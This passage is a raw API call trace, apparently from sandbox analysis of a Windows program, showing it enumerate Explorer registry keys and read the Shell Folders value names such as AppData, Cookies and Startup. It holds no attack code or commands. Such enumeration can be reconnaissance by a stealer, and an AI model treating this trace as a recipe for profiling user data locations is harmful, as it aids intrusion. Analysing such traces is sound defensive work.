Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.706] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.706] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.706] RegEnumKeyW (in: hKey=0x120, dwIndex=0x3, lpName=0x289d18, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0247.706] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.706] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x23fc240, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0247.706] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.706] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.706] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.706] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.706] RegOpenKeyExW (in: hKey=0x120, lpSubKey="Explorer", ulOptions=0x0, samDesired=0x20109, phkResult=0x18f8cc | out: phkResult=0x18f8cc*=0x124) returned 0x0 [0247.706] RegCloseKey (hKey=0x120) returned 0x0 [0247.706] RegEnumKeyW (in: hKey=0x124, dwIndex=0x0, lpName=0x289d18, cchName=0x104 | out: lpName="Advanced") returned 0x0 [0247.706] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.706] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced", cchWideChar=8, lpMultiByteStr=0x23fc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced", lpUsedDefaultChar=0x0) returned 8 [0247.707] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.707] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.707] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.707] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.707] RegEnumKeyW (in: hKey=0x124, dwIndex=0x1, lpName=0x289d18, cchName=0x104 | out: lpName="ApplicationDestinations") returned 0x0 [0247.707] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applicationdestinations", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0247.707] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applicationdestinations", cchWideChar=23, lpMultiByteStr=0x23fc240, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="applicationdestinations", lpUsedDefaultChar=0x0) returned 23 [0247.707] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.707] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.707] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.707] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.707] RegEnumKeyW (in: hKey=0x124, dwIndex=0x2, lpName=0x289d18, cchName=0x104 | out: lpName="AutoComplete") returned 0x0 [0247.707] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="autocomplete", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0247.707] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="autocomplete", cchWideChar=12, lpMultiByteStr=0x23fc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="autocomplete", lpUsedDefaultChar=0x0) returned 12 [0247.707] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.707] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.707] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.707] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.707] RegEnumKeyW (in: hKey=0x124, dwIndex=0x3, lpName=0x289d18, cchName=0x104 | out: lpName="AutoplayHandlers") returned 0x0 [0247.707] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="autoplayhandlers", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0247.707] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="autoplayhandlers", cchWideChar=16, lpMultiByteStr=0x23fc240, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="autoplayhandlers", lpUsedDefaultChar=0x0) returned 16 [0247.707] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.707] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.707] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.707] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.707] RegEnumKeyW (in: hKey=0x124, dwIndex=0x4, lpName=0x289d18, cchName=0x104 | out: lpName="BitBucket") returned 0x0 [0247.707] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitbucket", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0247.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitbucket", cchWideChar=9, lpMultiByteStr=0x23fc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bitbucket", lpUsedDefaultChar=0x0) returned 9 [0247.708] RegEnumKeyW (in: hKey=0x124, dwIndex=0x5, lpName=0x289d18, cchName=0x104 | out: lpName="CabinetState") returned 0x0 [0247.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cabinetstate", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0247.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cabinetstate", cchWideChar=12, lpMultiByteStr=0x23fc240, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cabinetstate", lpUsedDefaultChar=0x0) returned 12 [0247.708] RegEnumKeyW (in: hKey=0x124, dwIndex=0x6, lpName=0x289d18, cchName=0x104 | out: lpName="CD Burning") returned 0x0 [0247.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cd burning", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0247.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cd burning", cchWideChar=10, lpMultiByteStr=0x23fc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cd burning", lpUsedDefaultChar=0x0) returned 10 [0247.708] RegEnumKeyW (in: hKey=0x124, dwIndex=0x7, lpName=0x289d18, cchName=0x104 | out: lpName="CIDOpen") returned 0x0 [0247.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cidopen", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cidopen", cchWideChar=7, lpMultiByteStr=0x23fc240, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cidopen", lpUsedDefaultChar=0x0) returned 7 [0247.708] RegEnumKeyW (in: hKey=0x124, dwIndex=0x8, lpName=0x289d18, cchName=0x104 | out: lpName="CLSID") returned 0x0 [0247.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clsid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clsid", cchWideChar=5, lpMultiByteStr=0x23fc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clsid", lpUsedDefaultChar=0x0) returned 5 [0247.708] RegEnumKeyW (in: hKey=0x124, dwIndex=0x9, lpName=0x289d18, cchName=0x104 | out: lpName="ComDlg32") returned 0x0 [0247.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comdlg32", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comdlg32", cchWideChar=8, lpMultiByteStr=0x23fc240, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="comdlg32", lpUsedDefaultChar=0x0) returned 8 [0247.708] RegEnumKeyW (in: hKey=0x124, dwIndex=0xa, lpName=0x289d18, cchName=0x104 | out: lpName="Discardable") returned 0x0 [0247.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discardable", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0247.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discardable", cchWideChar=11, lpMultiByteStr=0x23fc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="discardable", lpUsedDefaultChar=0x0) returned 11 [0247.709] RegEnumKeyW (in: hKey=0x124, dwIndex=0xb, lpName=0x289d18, cchName=0x104 | out: lpName="FileExts") returned 0x0 [0247.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileexts", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileexts", cchWideChar=8, lpMultiByteStr=0x23fc240, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fileexts", lpUsedDefaultChar=0x0) returned 8 [0247.709] RegEnumKeyW (in: hKey=0x124, dwIndex=0xc, lpName=0x289d18, cchName=0x104 | out: lpName="LowRegistry") returned 0x0 [0247.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lowregistry", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0247.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lowregistry", cchWideChar=11, lpMultiByteStr=0x23fc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lowregistry", lpUsedDefaultChar=0x0) returned 11 [0247.709] RegEnumKeyW (in: hKey=0x124, dwIndex=0xd, lpName=0x289d18, cchName=0x104 | out: lpName="MenuOrder") returned 0x0 [0247.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="menuorder", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0247.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="menuorder", cchWideChar=9, lpMultiByteStr=0x23fc240, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="menuorder", lpUsedDefaultChar=0x0) returned 9 [0247.709] RegEnumKeyW (in: hKey=0x124, dwIndex=0xe, lpName=0x289d18, cchName=0x104 | out: lpName="Modules") returned 0x0 [0247.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modules", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modules", cchWideChar=7, lpMultiByteStr=0x23fc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modules", lpUsedDefaultChar=0x0) returned 7 [0247.710] RegEnumKeyW (in: hKey=0x124, dwIndex=0xf, lpName=0x289d18, cchName=0x104 | out: lpName="MountPoints2") returned 0x0 [0247.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountpoints2", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0247.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountpoints2", cchWideChar=12, lpMultiByteStr=0x23fc240, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mountpoints2", lpUsedDefaultChar=0x0) returned 12 [0247.710] RegEnumKeyW (in: hKey=0x124, dwIndex=0x10, lpName=0x289d18, cchName=0x104 | out: lpName="NewShortcutHandlers") returned 0x0 [0247.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="newshortcuthandlers", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0247.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="newshortcuthandlers", cchWideChar=19, lpMultiByteStr=0x23fc120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="newshortcuthandlers", lpUsedDefaultChar=0x0) returned 19 [0247.710] RegEnumKeyW (in: hKey=0x124, dwIndex=0x11, lpName=0x289d18, cchName=0x104 | out: lpName="RecentDocs") returned 0x0 [0247.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="recentdocs", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0247.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="recentdocs", cchWideChar=10, lpMultiByteStr=0x23fc240, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="recentdocs", lpUsedDefaultChar=0x0) returned 10 [0247.711] RegEnumKeyW (in: hKey=0x124, dwIndex=0x12, lpName=0x289d18, cchName=0x104 | out: lpName="RunMRU") returned 0x0 [0247.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="runmru", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="runmru", cchWideChar=6, lpMultiByteStr=0x23fc120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="runmru", lpUsedDefaultChar=0x0) returned 6 [0247.711] RegEnumKeyW (in: hKey=0x124, dwIndex=0x13, lpName=0x289d18, cchName=0x104 | out: lpName="SearchPlatform") returned 0x0 [0247.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="searchplatform", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0247.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="searchplatform", cchWideChar=14, lpMultiByteStr=0x23fc240, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="searchplatform", lpUsedDefaultChar=0x0) returned 14 [0247.711] RegEnumKeyW (in: hKey=0x124, dwIndex=0x14, lpName=0x289d18, cchName=0x104 | out: lpName="Shell Folders") returned 0x0 [0247.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shell folders", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0247.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shell folders", cchWideChar=13, lpMultiByteStr=0x23fc120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shell folders", lpUsedDefaultChar=0x0) returned 13 [0247.711] RegOpenKeyExW (in: hKey=0x124, lpSubKey="Shell Folders", ulOptions=0x0, samDesired=0x20109, phkResult=0x18f8cc | out: phkResult=0x18f8cc*=0x120) returned 0x0 [0247.711] RegCloseKey (hKey=0x124) returned 0x0 [0247.711] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc288) returned 1 [0247.711] RegEnumValueA (in: hKey=0x120, dwIndex=0x0, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="!Do not use this registry key", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.711] RegEnumValueA (in: hKey=0x120, dwIndex=0x1, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="AppData", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.711] RegEnumValueA (in: hKey=0x120, dwIndex=0x2, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Local AppData", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.711] RegEnumValueA (in: hKey=0x120, dwIndex=0x3, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="My Video", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.711] RegEnumValueA (in: hKey=0x120, dwIndex=0x4, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.711] RegEnumValueA (in: hKey=0x120, dwIndex=0x5, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="My Pictures", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.712] RegEnumValueA (in: hKey=0x120, dwIndex=0x6, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Desktop", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.712] RegEnumValueA (in: hKey=0x120, dwIndex=0x7, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="History", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.712] RegEnumValueA (in: hKey=0x120, dwIndex=0x8, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="NetHood", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.712] RegEnumValueA (in: hKey=0x120, dwIndex=0x9, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{56784854-C6CB-462B-8169-88E350ACB882}", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.712] RegEnumValueA (in: hKey=0x120, dwIndex=0xa, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Cookies", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.712] RegEnumValueA (in: hKey=0x120, dwIndex=0xb, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Favorites", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.712] RegEnumValueA (in: hKey=0x120, dwIndex=0xc, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="SendTo", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.712] RegEnumValueA (in: hKey=0x120, dwIndex=0xd, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start Menu", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.712] RegEnumValueA (in: hKey=0x120, dwIndex=0xe, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="My Music", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.712] RegEnumValueA (in: hKey=0x120, dwIndex=0xf, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Programs", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.712] RegEnumValueA (in: hKey=0x120, dwIndex=0x10, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Recent", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.712] RegEnumValueA (in: hKey=0x120, dwIndex=0x11, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="CD Burning", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.712] RegEnumValueA (in: hKey=0x120, dwIndex=0x12, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PrintHood", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.712] RegEnumValueA (in: hKey=0x120, dwIndex=0x13, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{7D1D3A04-DEBB-4115-95CF-2F29DA2920DA}", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.712] RegEnumValueA (in: hKey=0x120, dwIndex=0x14, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{374DE290-123F-4565-9164-39C4925E467B}", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.712] RegEnumValueA (in: hKey=0x120, dwIndex=0x15, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{A520A1A4-1780-4FF6-BD18-167343C5AF16}", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.713] RegEnumValueA (in: hKey=0x120, dwIndex=0x16, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Startup", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.713] RegEnumValueA (in: hKey=0x120, dwIndex=0x17, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Administrative Tools", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.713] RegEnumValueA (in: hKey=0x120, dwIndex=0x18, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Personal", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.713] RegEnumValueA (in: hKey=0x120, dwIndex=0x19, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{BFB9D5E0-C6A9-404C-B2B2-AE6DB6AF4968}", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.713] RegEnumValueA (in: hKey=0x120, dwIndex=0x1a, lpValueName=0x18f804, lpcchValueName=0x18f800, 